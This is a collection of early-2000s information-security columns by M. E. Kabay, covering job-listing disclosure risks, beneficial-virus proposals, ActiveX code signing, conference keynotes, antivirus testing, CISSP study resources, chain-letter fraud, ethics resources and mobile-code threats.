– Restrict access to the Dial-Up Networking settings
– Prevent access to the Date/Time settings
– Monitor the logon and disable the CANCEL button on the password window
– Restrict access to Control Panel and other resources
– Restrict software downloads from the Internet
– Restrict the Save As Wallpaper command

Revealing More than You Intended: Job Listings and Security

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

There are many thousands of companies and government agencies that advertise job openings on their Web sites. To get a sense of the number of references to jobs, try a simple request for "jobs" on the Google search engine -- it reported over 18M links; "computer security jobs" produced over 926K links.

Could your own organization's security be threatened by excessive detail in your own job listings on the Web? According to Jay Krasnow* perhaps your Web site is providing a bit too much information for your own good.

His literature search found many reports on competitive intelligence (CI) – which he correctly identified as reaching back several thousand years -- and some on CI from job listings, some on CI from the Web, but little on CI from Web-based job listings. He collected about 300 job listings available during a one-week period on the Web sites of three unnamed companies with Department of Defense contracts. His textual analysis used 14 criteria for evaluating the disclosure of sensitive information; the top three criteria that occurred widely in the sample were

- disclosure of a security-clearance or US-citizenship requirement;
- requirement for a technical degree; and
- identification of the corporate team or division completing the particular project for which additional employees are required.

The author recommended that

- organizations raise manager awareness of the security implications of job listings;
- have departmental managers review ads for postings in their sectors; and
- not include the specific name or the department of the prospective employer.

I think it is appropriate for security and network managers to examine the job listings on your own Web sites to see if there's perhaps a bit too much information being given to anyone who wants it. Is it necessary, to take but one example, to specify the precise network operating system and its revision in the advertisement itself? Do you need to specify the number of nodes, the types of processors, the network protocols, the kinds of routers and the types of gateways in your network?

Yes, the information provides a basis for refining the stream of candidates. Yes, security

through obscurity cannot compensate for bad technical security or even for poor security awareness, training and education.
On the other hand, this amount of detail makes it easy for criminals to engage in social engineering by sounding as if they are already insiders when they call vulnerable staff to winkle out interesting bits of information such as account passwords. For example, seeing how an organization defines its e-mail addresses (such as "first_initial CONCATENATE last_name"@org_name.domain") makes it easy to guess at logon IDs, which is a step towards getting the password by claiming to have forgotten it.

For the same reason -- making social engineering more difficult -- a second category of information that might prudently be kept for later stages in the job interview funnel is the names, titles, phone numbers and faxes for high-ranking managers in the company who will be involved in interviews and candidate selection. In addition, the amount of detail in the "About Us" section of the corporate Web site should fruitfully be reviewed for its security implications.

* Krasnow, J. D. (2000). The competitive intelligence and national security threat from Website job listings. _Proceedings of the 23rd NISSC_:433

Jay D. Krasnow reported on the master's thesis he wrote in the Communications, Culture and Technology Program at Georgetown University concerning competitive intelligence (CI) from job listings on the Web. He presented his work in the student-paper session at the 23rd National Information Systems Security Conference (NISSC) organized by the National Institute of Standards and Technology (NIST) and the National Computer Security Center (NCSC) of the National Security Agency (NSA), Mr Krasnow won an award for Best Student Paper for his presentation.

Beneficial Malware:
Cybernetic Oxymoron

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Greg Moorer, an undergraduate student in the Department of Computer Science at Mississippi State University, won a Best Student Paper award at the 23rd NISSC for his paper on beneficial computer viruses and worms*. The author reviewed the literature on beneficial viruses, unfortunately including the completely mythical "Iraqi printer virus" (based on an old April Fool's joke about a virus that crawled out of printer ROMs and up the parallel cable to infect PCs) as an example of a beneficial virus.

Aside from this glitch, the author did an excellent job of summarizing the classic objections of Vesselin Bontchev to using self-replicating code. Bontchev's arguments include

* the difficulty of controlling viruses once they are released;
* magnification of quality assurance problems when code reproduces;
* platform- and version-incompatibility;
* unauthorized and undocumented modification of data;
* unauthorized an undocumented resource utilization;
* inability of viruses to accomplish any function other than reproduction better than normal programs;
* technical support complications in infected systems;
* danger of Trojan Horse viruses with harmful payloads despite their beneficial description; and
* likelihood that malicious-virus writers would claim that their work was beneficial.

In contrast, Moorer cites the ideas of Fred Cohen, who has argued for years that viruses could do useful things such as compressing files or destroying other viruses. The student then modeled the anti-virus virus concept by using a simulated population of ten users into which he released a virus and then a virus-hunter virus. He found that the anti-virus virus should be constrained in several ways:

* it should be released into the same "discourse community" (i.e., in the same way as the target virus);

* it must be released from an otherwise virus-free computer;

* it must have a limited lifetime; and

* it should remove itself automatically when its expiry date is reached.

My own immediate thoughts are that the state of quality assurance in today's commercial environment is so abysmally poor that I seriously doubt the wisdom of infecting anyone's systems with self-replicating code regardless of intent.

The author also chose not to treat the legality of any such system for infection without authorization; any such act might be considered a violation of existing laws on unauthorized entry into computer systems.

Finally, there have been cases of "genetic" exchange between macro viruses; e.g., the "mating" macro viruses of 1997 that exchanged parts of their ASCII payload messages. Such uncontrolled modifications of self-reproducing code should give any network manager pause before accepting any execution of external code on production systems.

On the other hand, many users feel that receiving automatic updates from trusted sources such as their operating-system vendor or anti-malware supplier is perfectly acceptable. Perhaps a system of digital certificates would allow those who want to participate in patch distribution via self-reproducing code could reduce their risk to some extent using such a mechanism. Nonetheless, there is a fundamental objection to using certificates as a measure of software quality: knowing the origin of code does not imply knowing the quality or safety of that particular code.

In summary, as a former data-center manager who still waits at least six months for the first Service Packs before installing a new operating system on my own PC, the prospect of having my system infected by unauthorized code intended to help me is distasteful at the least.

* Moorer, G. (2000). The case for beneficial computer viruses and worms: A student's perspective. _Proceedings of the 23rd NISSC_:449.

The ActiveX Security Model

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

According to Microsoft < http://www.microsoft.com/com/tech/ActiveX.asp >, "ActiveX® controls are among the many types of components that use COM [Component Object Model; see < http://www.microsoft.com/com/default.asp > for an overview] technologies to provide interoperability with other types of COM components and services. ActiveX controls are the third version of OLE controls (OCX), providing a number of enhancements specifically designed to facilitate distribution of components over high-latency networks and to provide integration of controls into Web browsers. These enhancements include features such as incremental rendering and code signing, to allow users to identify the authors of controls before allowing them to execute."

The security model for ActiveX programs, called "controls," running on a Windows 9x system permits signed code to run with no constraints. ActiveX controls can call any system routines. For example, the "Exploder" demonstration control was written by Fred McLain and is described on < http://www.halcyon.com/mclain/ActiveX/welcome.html >. McLain explains:

> Exploder performs a clean shutdown of Windows 95 from a web page. On "Green Machines", particularly those with a power conservative BIOS, (mostly laptop computers) it also turns the power off after shutdown. For the technical folks out there, this is a call to the windows API function ExitWindowsEx() with the flags EWX_SHUTDOWN and EWX_POWEROFF set. For the less technical, it's the same thing as the "Shut Down" menu item on the "Start" button, but with the power off feature added. <

For a more extensive discussion of Exploder and how Microsoft and Verisign responded to its publication, see its author's FAQ at < http://www.halcyon.com/mclain/ActiveX/Exploder/FAQ.htm >.

The fundamental problem with the security model for ActiveX is the weak relation between knowing the stated origin of code and knowing that the code is trustworthy. Sometimes the correlation between origin and quality is strong; for example, we may know very well that if a particular student in a programming class has written a particular piece of code, that code may be poorly written. For that matter, we may know that if a particular company produces code, the code will almost certainly be poorly written. However, in theory, a Bad Person could obtain a certificate and sign the Dangerous_Code control before using it on a Web page. How, exactly, would a visitor to the Web page determine whether to allow Dangerous_Code to download and run? On what basis would a user -- especially a normal user with no idea of how ActiveX or any other code should be designed -- judge whether to allow the Dangerous_Code control to execute?

In your experience as network managers and users, how many non-technical users ever even _think_ of verifying the nature of the person or organization that signed a control before downloading and executing it in their browser session? And if they did want to look into who

wrote (or signed) the code, on what basis would they judge the code's fitness?

No, I'm very sorry to conclude that claiming that certificates of origin necessarily tell us about the quality and safety of code is a non sequitur: the second element does not follow from the first.

In practical terms, I do not allow ActiveX to execute at all in my browsers unless I feel that I absolutely have to for a sound business purpose. And I recommend to Web designers that they ensure that visitors who disallow ActiveX will nonetheless be able to obtain a reasonable amount of information without using this seriously flawed conception of software security.

NSA Director Looks at Information Assurance

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

At the last NISSC (National Information Systems Security Conference) sponsored by NIST and the NSA's (National Security Agency's) NCSC (National Computer Security Center), Lieutenant General Michael V. Hayden, USAF, Director of NSA & Chief of CSS (Central Security Service) had some interesting and thought-provoking remarks in a keynote address entitled "The Evolution of Information Assurance: Transformation of the NSA's Information Assurance Mission." I hope that readers will be able to use his comments to sensitize their colleagues, and especially upper management, to how serious information security has become in our networked society.

According to the speaker, the Agency's thought processes have been evolving. They started historically with COMSEC (communications security), looking almost exclusively at military systems. Next, they moved to INFOSEC (information security); the focus moved from output to outcome. They then expanded their view to emphasize Information Assurance: detecting and reacting to attacks against our information systems. The NSA had to broaden their understanding of their customers. They are currently working under the paradigm of Information Operations. It's not so much a question of linear growth as of expansion.

Their current mantra is that they must gain, exploit, defend and attack information. Information has become a battlespace, just like land, sea and air. The NSA now offer a number of services such as evaluation or assessment, research and development in I&A (identification and authentication) such as biometrics. However, the NSA is no longer the main provider or center of security research and development: they are cooperating with the private sector.

In the past, military IT security specialists used the notion of a perimeter defense; today, however, we operate on a network of networks. During the air ware over Kosovo and Serbia, our information for that operation resided and traveled over the same global network as that of our enemies. Adversaries are therefore no longer nation states alone; we are also threatened by malicious (and even non-malicious) hackers.

What would an American response to an information operations attack involve? It could be a passive defense -- just recover from the damage. Or we could involve law enforcement. But military strategists can also envisage counter-attack, either by physical attack or cyberattack. In such a situation, COMSEC and SIGINT (signals intelligence) become blended and blurred.

The military can't respond effectively to cyberattack without cooperation with the private sector. The Air Force, in one sense, is the security expression of the civilian aircraft industry. Similarly, the NSA may be developing into the security expression of the civilian telecommunications industry. We have already seen how the Commercial COMSEC Evaluation Program has been useful; the National Information Assurance Partnership (NIAP) is a partnership with other Federal government agencies; and the Common Criteria program involves partnership with foreign governments.

The NSA sees information assurance as the methods that ensure continued operations under attack and effective recovery after attack. The reality is that foreign governments do not in fact generally have effective laws for prosecuting harmful acts such as the distribution of the Love Bug.
Those in government and the military necessarily depend on the civilian infrastructure, but commercial product feature expansion does not provide adequate information assurance. Technology and tools can help us be more efficient and effective; nonetheless, effectiveness depends on people. Every leader must recognize the strategic value of information and internalize and realize that value and the need for protection. Information security is a 24x7 process. Information security is something we do, not something we buy.

For more information about the NSA, see their Web site at < http://www.nsa.gov >.

NIAP Secure E-Business Executive Summit

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

I recently received the following announcement from Ron Ross, Director of NIAP, and feel that many readers will be interested in this conference. With the ending of the National Information Systems Security Conferences that were sponsored by NIST (National Institute of Standards and Technology) and the NCSC (National Computer Security Center), this is one of the opportunities for government and business INFOSEC experts to share knowledge and forge alliances.

NIAP, the National Information Assurance Partnership, was founded in response to the findings and recommendations of the President's Commission on Critical Infrastructure Protection (PCCIP) < http://www.ciao.gov/PCCIP/PCCIP_index.htm >, whose report came out in October 1997 < http://www.ciao.gov/PCCIP/report_index.html > . NIAP's objectives are to

* Promote the development and use of evaluated IT products and systems;

* Champion the development and use of national and international standards for IT security;

* Foster development of IT security requirements, test methods, tools, techniques, and assurance metrics;

* Support a framework for international recognition and acceptance of IT security evaluation results; and

* Facilitate the development and growth of a commercial IT security testing industry within the U.S.

* * *

Secure E-Business Executive Summit
May 7-9, 2001
Crystal City Hilton, Arlington VA

The Federal CIO Council and the Department of Defense CIO are co-hosting the Spring Secure E-Business Executive Summit addressing the latest strategies, architectures and technologies for e-government. The conference is May 7-9 at the Crystal City Hilton, in Arlington, Virginia.

The Secure E-Business Executive Summit is a best practices seminar for government information technology (IT) leaders, standards communities, integrators, and industry practitioners.

The Secure E-Business Executive Summit is a collaboration among the Federal CIO Council, the National Imagery & Mapping Agency, the National Information Assurance Partnership, National Institute of Standards and Technology, National Security Agency, the U.S. Department of the Treasury, the Department of Veterans Affairs, the Canadian Department of National Defense, the Object Management Group, the U.S. General Services Administration, the Computer &

Communications Industry Association, the Center for Internet Security and the Council for Excellence in Government.

Your attendance and support of the Secure E-Business Executive Summit is requested. Please join us so we may all better learn how to transform our business processes into secure E-business solutions. For more information about the conference please visit the Secure E-Biz web site located at < http://www.SecurE-Biz.net >.

The Future of Telecommunications and Networking: Predicting the Unpredictable

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

At the 23rd National Information Systems Security Conference in October 2000, we heard a distinguished scientist musing about the nature of the challenges facing information security in the new century.

Keynote Speaker Dr David J. Farber is Alfred Fitler Moore Professor of Telecommunications Systems at the University of Pennsylvania in both the Department of Computer Science and the Department of Electrical Engineering; he has also been Chief Technical Officer of the Federal Communications Commission of the United States. The following are my own notes on what Dr Farber said in his address.

* * *

We have gone from a world with computers without networks to computers to networks to networks with computers. The cloud has inverted: we are interested in the network. We can no longer design computers without paying attention to the networks. The main technological driver for the next decade will be optical networks; up to now we have been converting optical signals to and from electron flows. With wholly optical systems, we should see an enormous rise in bandwidth up to 80 Gbs; on the other hand, light is hard to work with. We will have to design our networks for increased compatibility with optical systems.

A second driver is vastly increased computer-chip performance to be able to process these huge data flows. Historically, there was skepticism about the utility of 1 Gbs systems; some people couldn't imagine how such bandwidth could ever been used.

Finally, very large data stores, both archival and transient, and a new generation of image capture and display systems will affect our systems profoundly.

It is very difficult to design security into systems after the fact. I want to point out that this is the opportune time to architect security into the new systems that are necessarily going to have to replace today's. If we don't have networks and computer systems that can survive attack we will be very vulnerable.

Another issue is the dramatic change in the way people are connecting to the Net. The dialup modem is passé; we are seeing persistent connections into the home. Added to that, the Bluetooth and other wireless protocols are leading to a vulnerabilities within the home, especially when the new protocols don't seem to have the slightest attention to security. The conversion of the public switched network TCP/IP is raising enormous security issues; it's critical that security be engineered into the systems now. For a sense of the damage that may follow from collapse of the telecommunications infrastructure, I suggest that you read _Snowcrash_ [by Neal Stephenson (1993). Bantam Doubleday Dell; ISBN 0-5533-8095-8)].

What should we do? Technology is easy; society is rough. As we design security into our systems for national security purposes, it's important to remember and incorporate planning for nations. Nations are having trouble with taxes, culture and rights in cyberspace. Increasingly, we have a capability for a 1984-like society that far exceeds George Orwell's conception of a privacy-less society. Law enforcement can support and improve individual privacy, not just harm it.

E-commerce is growing explosively, but cannot survive without reliable networks. The Internet was built largely by graduate students who knew and trusted each other. We are stepping on very slippery ice. So we ought to be putting the effort into security of the next generation of our information infrastructure.

Gene Spafford Challenges Complacency

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

I would like to draw readers' attention to the remarks made by Prof. Eugene Spafford of Purdue University on the occasion of his receiving the National Computer Systems Security Award from the National Computer Security Center at the 23rd (and last) National Information Systems Security Conference in Baltimore, 16 October 2000.

On his biographical page at < http://www.cerias.purdue.edu/homes/spaf/ >, we read, "Gene Spafford is a Professor of Computer Sciences at Purdue University, where he has been on the faculty since 1987. His current research interests are primarily in the areas of information security, computer crime investigation and information ethics. He also has an appointment as a Professor of Philosophy at Purdue.

"Spaf (as he is known to his friends, colleagues, and students) is director of the Purdue CERIAS (Center for Education and Research in Information Assurance and Security), and was the founder and director of the (now superseded) COAST Laboratory. He is also the interim Information Systems Security Officer for Purdue University. Related to this, he is the founder and de facto director of the PCERT (Purdue Computer Emergency Response Team)."

In his plenary address to the Conference, Spaf made the following key points about the state of information security today (I am summarizing and paraphrasing Spaf's words):

* Security is going to get worse before it gets better because of human nature, including the people who design, write, deploy, use and abuse the systems – and even because of the people who guard the systems.

* Some software manufacturers have perceived security problems such as viruses to be someone else's problem.

* Scanning for viruses using known search strings doesn't work for everyone now because many people fail to keep their signature files up to date, but if we reach the projected 100,000 known viruses by 2004, there will be a new virus reported roughly every hour or two – and how will downloading signatures keep up with that threat?

* We are at risk in part because we have entrusted security to users who lack understanding and training in how to cope with the issues.

* Programmers and system administrators are inadequately trained, with enormous time wasted due to program and system crashes. In addition, known vulnerabilities remain unpatched on uncounted systems.

* Senior executives select software and hardware based on initial cost of acquisition instead of long-term operational costs and risk analysis. New features are assigned higher value than reliability.

* The software industry, aware of the problems its members are causing, includes supporters of the UCITA [the Uniform Computer Information Transactions Act] which would help "shield themselves from consequences of shoddy practices, and even to prevent critical public comment on their wares. (I [Spaf] would strongly urge you to educate yourselves about the awful consequences if UCITA is passed in your states; see my [Spaf's] editorial in issue E38 of the IEEE Cipher as a starting point or refer to <http://www.4cite.org>.)"

Spaf issued the following challenges to everyone involved with information technology:

* Commit to thinking about the foundations of security in software instead of patching fundamentally flawed systems.

* Hold companies liable for bad products that fail because of faulty design and operation.

* Stop ridiculing "stupid user tricks" and design systems to take into account the nature of people for whom computers are equivalent to appliances.

* Improve the education of computer programmers and others who will be involved in creating and managing systems. Include human factors in students' education so they can address real-world problems. Apply interdisciplinary perspectives.

* * *

Please see the page of information about the event at < http://www.cerias.purdue.edu/homes/spaf/ncssa.html > and read the full text of Spaf's remarks. Each one of his points is worthy of extended thought and discussion.

Future of Antivirus Testing (1)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

At the 23rd National Information Systems Security Conference in October 2000, Sarah Gordon (then at the IBM Thomas J. Watson Research Center) and Fraser Howard (of the _Virus Bulletin_) presented an overview of anti-virus software testing. What follow are my own notes on their interesting and though-provoking presentation (I checked with the authors before publishing this). This is the first of two articles summarizing their presentation.

* * *

In her study of antivirus products (AVPs), Sarah Gordon realized that AVP developers were making competing and mutually impossible claims about being the fastest, best, cheapest products. Tests were unsound: they used partial and very different samples; they had inconsistent methods; and the language used to report on AVPs was inconsistent. The WildList Organization has been helping in test evolution; we see monthly reports based on viruses found on customer machines ("in the wild"); they have to be reported by two or more vendors; and viruses are dropped from the list if they have not been seen for a year in the wild.

Over this last decade, AVP testing has greatly improved thanks to the efforts of such entities as ICSA.net (now ICSA Labs), Westcoast Publishing's Westcoast Labs (WCL) Checkmark, the University of Hamburg Virus Test Center (VTC), the Otto-von-Guericke University of Magdeberg, and _Virus Bulletin_. Various computing magazines also run tests.

Problems exist in all of these, although some certifications show no history and don't show failures. ICSA.net certifications and WCL cost money, so not all AVPs are tested. _Virus Bulletin_ do publish their results monthly. These certifications typically cannot keep up with late-breaking viruses. Magazines have some strengths: they do a good job on features; however, their tests often use viruses that are not in the wild, use modified viruses, and use limited samples or even simulators and non-viruses. Academic test centers have thorough methodologies, but the change in students can cause inconsistencies. Often the tests produce such voluminous results it's hard to interpret them.

In addition to scanning engines, many AVPs now include heuristic methods; however, generic techniques are currently less reliable than signature-based techniques because of the risk of false positives. Generic techniques are useful complements to signature-based detection, especially with rapid and automatic addition of signatures for captured new viruses.

* * *

More from Gordon and Howard in the next article in this pair.

* * *

Mich Kabay can be reached by e-mail at <mkabay@atomictangerine.com>. Future of Antivirus Testing (2)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This is the second of two articles summarizing a lecture delivered by Sarah Gordon (then at the IBM Thomas J. Watson Research Center) and Fraser Howard (of the _Virus Bulletin_) at the 23rd National Information Systems Security Conference in October 2000 in Baltimore.

* * *

The current situation has changed radically because of the self-mailing, mass-mailing features of worms. For example, the Melissa worm spread faster than any previous malicious software in history; some estimates suggest 0.4 to 0.5M infected e-mail messages were generated within the first three hours. And Melissa is by no means the only such worm; for example, Win32/ExploreZip, Win32/NewApt and Win32/MyPics are recent harmful variants.

The authors see AVP technology having to change away from total dependence on scanning. We will necessarily see immunological models and increased emphasis on fast heuristics to detect heretofore unknown viruses. The new strategies must also provide the ability to spread immunity to other computers faster than the spread of network-aware viruses. We can't wait a day while someone analyses a virus and another day for the update. Response time to viral activity must be virtually instantaneous; we need robust systems that can operate before infection begins if possible, resist attack on the system and on the AVP by the malicious software, recover after damage to the system, and even heal the AVPs themselves quickly. In addition, all the usual interface issues remain: we have to have easy-to-use systems that can be deployed quickly and are scalable. Recent research at IBM suggests that they can respond to a new virus within three minutes from time of submission to time of immunological component.

AVP testing should evolve to include these aspects of AVP performance. If a client-server model of viral immunity is used , where clients send captured virus-suspects to a central analysis system, the following questions should be used in testing [quoted directly from CD-ROM version of the paper]:

* Can the system detect new, previously unseen viruses?

* Can the system automatically, without user interaction, "capture" samples of such viruses, or sufficient information about such viruses and automatically send them to an analysis center?

* Can an administrator "vet" samples which are sent? In the case of macro viruses, can confidential information be safely removed from the sample, preventing the leakage of potentially privileged information to a third party?

* Is the submission scheme scalable to deal with the submission of many different viruses/non-viruses at one time?

* Does the analysis center grant "innate" immunity to other computers automatically and seamlessly in a timely manner?

* Is the system easy to manage and deploy in a large corporate environment?

* Can the software be pre-configured for rollout within a specific environment?

In conclusion, the Gordon and Howard think that AVPs will increasingly integrate scanner-based and generic virus-detection techniques as a result of the proliferation of network-aware viruses and worms. AVP testing organizations should focus on user requirements and not design their tests in terms of the architectural design of the AVPs under test.

More CISSP Study Resources

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

The series on studying for the CISSP brought in some helpful e-mail. Clement Dupuis wrote:

Bonjour Docteur Kabay,

First let me introduce myself, I am Clément Dupuis the maintainer of the CISSP Open Study Guides Web Site located at < http://www.cccure.org >.

I would like to bring to your attention this site as it is dedicated to helping people in obtaining their CISSP certification. The site has been running since the 15th of February, 2001. However the study guides that are currently being updated have been offered on the Web for the past three years by myself and one of my friends from Nortel, Chris Hare.

The study guide for each of the domains were getting a bit old and I decided to setup a portal to seek help from the security community in revising them and getting them up to date. Right now I am offering an online quiz, discussion forums, a mailing list, study guides for each of the domains, security news, and a few documents related to some of the domains.

Membership is now getting close to 300 people. I have people from over 60 different countries. Some of the study guides are coming along real well (please take a look at Domain 1 under the download section) and so far I have had close to 7000 downloads of the study guides in less than 2 months.

Lately I have partnered with OCSIG (The Ottawa Computer Security Interest Group) and I am giving them a platform for their technical notes, virus alerts, and other findings that they come up with.

I would like to invite you to visit the site, evaluate its content, and if you think it is worthy you could mention it in one of the next two letters on the CISSP certification and how to get ready for it.

I thank you for your time and I am looking forward to hear your comments about the site.

* * *

I paid a short visit to the site and focused on the discussion forums. My initial impression is that M. Dupuis is providing a good, low-noise environment for serious students to discuss all aspects of the CISSP domains. I encourage readers to visit the site, to contribute materials, and to participate in discussion of topics of interest to them. Best wishes to M. Dupuis and his colleagues.

* * *

Another helpful reader, Dave Chen, CISSP, wrote, "You failed to mention the CISSP Study Mailgroup that is run by Scott Sanchez through SecurityPortal. It is a good forum for people who are interested in becoming CISSP. ISC2 is aware of this mailgroup."

The description available through the menus at < http://www.SecurityFocus.com > reads as

follows:

"What is CISSPStudy?

This is a mailing list for the discussion of issues and questions about the CISSP certification exams and program. CISSPStudy was started by Scott Sanchez <mailto:scott@gungadin.com> of < http://infosec.gungadin.com >. Due to increased membership and traffic, the list has now been moved to SecurityFocus, and is still owned and maintained by Scott.

If you are considering taking the CISSP exam offered by ISC(2), if you are currently preparing for the exam or if you have already passed, you should subscribe to cisspstudy!

Disclaimer: CISSP is a registered trademark of the ISC2, Inc. This mailing list is not in any way endorsed or sponsored by ISC2 or the CISSP Test Development Committee. The study tips and discussions held in this mailing list are neither official nor approved or written by ISC2."

* * *

Chain E-Mail Pyramid Fraud

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

As all network administrators know, there are many letters circulating around the Net which tout the miraculous successes of adding your name to a mailing list, sending $5 (or whatever) to four other people, and sending the letter on to everyone you know. Some of the more recent letters include the claim "As seen on TV." Many include letters from starry-eyed proponents of the scheme claiming that their kitchen tables have been covered with money within weeks of participating in the plan; several preface their comments with assurances that they normally throw away such letters, but this one has changed their lives.

These letters are examples of pyramid frauds (also known as Ponzi Schemes); they are a method of funneling money from later participants to earlier participants. Eventually the fraud runs out of new victims and the last waves of participants are left with no revenue. Effectively, everyone participating in the pyramid fraud is hoping to reap unearned cash from gullible later victims.

For more information about the history of pyramid frauds, see Robert Todd Carroll's essay at < http://www.dcn.davis.ca.us/~btcarrol/skeptic/pyramid.html >.

I sometimes report the US participants in such fraud to the U.S. Postmasters in the ZIP codes involved (and no, I don't have "far too much free time" -- I just get irritated by fraud). Here is the exact text of a letter sent to me on 1 December 2000 by V. J. Bellinger of the Operations Support Group of the United States Postal Inspection Service in Newark, NJ. It has some interesting information that I hope will be helpful to readers attempting to convince employees (or family and friends) that such chain e-mail involving postal addresses is illegal.

"A chain letter or a multi-level marketing program is actionable under the Postal Lottery, False Representation, and/or Mail Fraud Statutes if it contains three elements: prize, consideration and chance. _Prize_ is usually in the form of money, commissions, or something else of value that the solicitation claims you will receive. _Consideration_ is the required payment to the sponsor in order to obtain the prize. _Chance_ is determined by the activities of participants over whom the mailer has no control. These types of schemes constitute lotteries are are barred from the mails because they violate the following statutes: Title 18, United States Code, Sections 1302 and 1341 and Title 39, United States Code, Section 3005.

"In attempts to appear legal, many chain letter or multi-level marketing mailings offer, for a fee, a product or `report.' However, since the success of the program is dependent on the number of people willing to participate, all three elements that constitute a violation continue to be present.

"The promoter of this scheme has been advised of the potential violations involved and has been requested top discontinue this type of mailing activity. . . ."

Cyber-Ethics Resources

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

I occasionally publish articles in the Association for Computing Machinery (ACM) online magazine called _Ubiquity_ < http://www.acm.org/ubiquity >. R.W. Burniske wrote to me with some interesting information about resources on ethical uses of computers. The following is slightly modified version of his letter:

* * *

I enjoyed your piece in Ubiquity, "Viruses and Worms: More Than a Technical Problem." < http://www.acm.org/ubiquity/views/m_kabay_5.html >. Thanks for calling this issue to attention at a time when people are so enthralled with technical skills that they forget about the moral and ethical issues that attend them!

I thought you might be interested in a few resources that I've produced over the past few years on this theme.

1. The CyberPilot's License < http://www.cwrl.utexas.edu/~burniske/cpl > This website, begun in 1997, is dedicated to the study of web ethics and the development of healthy online learning environments. Students, teachers, parents and policymakers are welcome to join the discussion forums, examine online resources, and help create an archive of educational materials.

2. "Composing Ourselves Online: Broadening the Definition of Computer Literacy < http://www.acm.org/ubiquity/book/r_burniske_2.html >. This is an essay that I published in Ubiquity Volume 1, Issue 12. May 8, 2000.

3. LITERACY IN THE CYBERAGE: COMPOSING OURSELVES ONLINE < http://www.skylightedu.com/bkstore/item.cfm?ISBN=1-57517-280-1 > This practical handbook, written for pre-service and in-service teachers, offers a thoughtful synthesis of technology and the humanities, presenting a series of "literacy challenges" that educators can use to help students develop the critical literacy skills necessary to analyze information they encounter in online learning environments as well as exercise good judgment and ethical behavior.

* * *

For other cyber-ethics resources, see the following Web sites, both of which have lists of additional resources:

University of British Columbia's Center for Applied Ethics Computer & Information Ethics Resources on WWW < http://www.ethics.ubc.ca/resources/computer/ >

DePaul University's Ethics Resources for Teachers and Trainers < http://www.depaul.edu/ethics/ethc1.html >

I also invite readers to visit my repository on SecurityPortal, where there are a few articles on ethics at < http://www.securityportal.com/kfiles/ethics.html >.

* * *

Mich Kabay can be reached by e-mail at <mkabay@atomictangerine.com>. He invites inquiries about a wide range of information security courses and INFOSEC consulting services that he and his colleagues at AtomicTangerine would be delighted to deliver to your employees at your site and at your convenience. For Web-based or CD-ROM online training in security from our INFOSEC University project, see < http://infosecu.com >.

PentaSafe Automates Security Management

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

I'm always looking for tools to help clients build security policies. Many readers will know that I unreservedly recommend the work of my friend and colleague Charles Cresson Wood, author of _Information Security Policies Made Easy_ (ISPME) (< http://www.baselinesoft.com/ >, which I have been using for a decade. When asked to develop policies with a client, I always require they purchase a license to ISPME because of the enormous improvement in productivity that comes from basing policies on well-written, thoroughly-explained text.

Recently I was introduced to PentaSafe < http://www.pentasafe.com > Web site, where I found that C. C. Wood is extending the reach of his work by making it available in an automated support tool, "VigilEnt Policy Center." Having used the tools to create an appropriate set of security policies, the user can then publish them easily to their Intranet, where VigilEnt provides features to record each employee's acknowledgement that they have read the policies. The system tracks the specific policies seen by each employee and can produce reports for management to help ensure that the policies are being examined by everyone.

In addition to the Policy Center, PentaSafe sells the VigilEnt Security Manager, which is an example of the new breed of network administration tools that are integrated with vulnerability assessment tools to produce ongoing audit, vulnerability identification, correction and reporting capabilities for the enterprise. According to PentaSafe's description, the system works through a central monitoring process which manages a repository of security events sent to it by platform-specific agents. Platforms supported include Windows NT, UNIX systems, Linux, IBM AS/400 and Web servers such as Apache, Netscape/iPlanet, and Microsoft IIS.

This system looks interesting and I would be keen to hear from readers who have implemented the products.

* * *

My comments are to be construed as a personal endorsement of Woods' ISPME, not an endorsement by my employers.

My comments about PentaSafe products are not endorsements but merely reports based on materials published by that vendor.

Neither I nor my employer have any financial interest whatsoever in either Baseline Software or PentaSafe.

* * *

For further reading:

There are several news articles listed in the NEWS section of the PentaSafe Web site. In

addition, see

Forcing Mobile Code into the Sandbox

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Keith Hill < khill@pelicansecurity.com >, Senior Sales Engineer at Pelican Security < http://www.pelicansecurity.com > has been corresponding with me about mobile code security, and he very kindly supplied the following essay which I have edited slightly for this column. Much of the information was provided to Mr Hill by a VP for Information Security at a large bank in a point paper that he gave to his bank directors.

* * *

Mobile code of various sorts (ActiveX, Java, Javascript, VBscript, and many more) has become a near necessity in Web-based business today. Both external and internal Web access tends to require such codes for complete function. Such code is autonomously downloaded and run by the client software (browsers), using the client's access permissions, to accomplish something needed for the page. Widely-used e-mail client software such as MS-Outlook insist on interpreting HTML (although more and more patches are appearing to control such functionality) and thus can execute such code when users preview or read messages.

Attempts to block such code have not worked, both for technical reasons and because people have needed the functions provided. However, mobile code has proven a very effective means of infecting computers and of causing widespread damage.

Antiviral packages using virus signatures depend critically on the notion that every virus or harmful piece of mobile code will be seen by an antivirus vendor before users see it; in addition, after vendors update recognition patterns to allow blocking of such malware, the user has to install the updated signature files before the virus or other malware is received. Unfortunately, this approach must inevitably fail for at least some users. Heuristics malware detection offers hope of supplementing signature strings, but unfortunately cannot yet cope with all the subtle variations of malice implemented by malware creators.

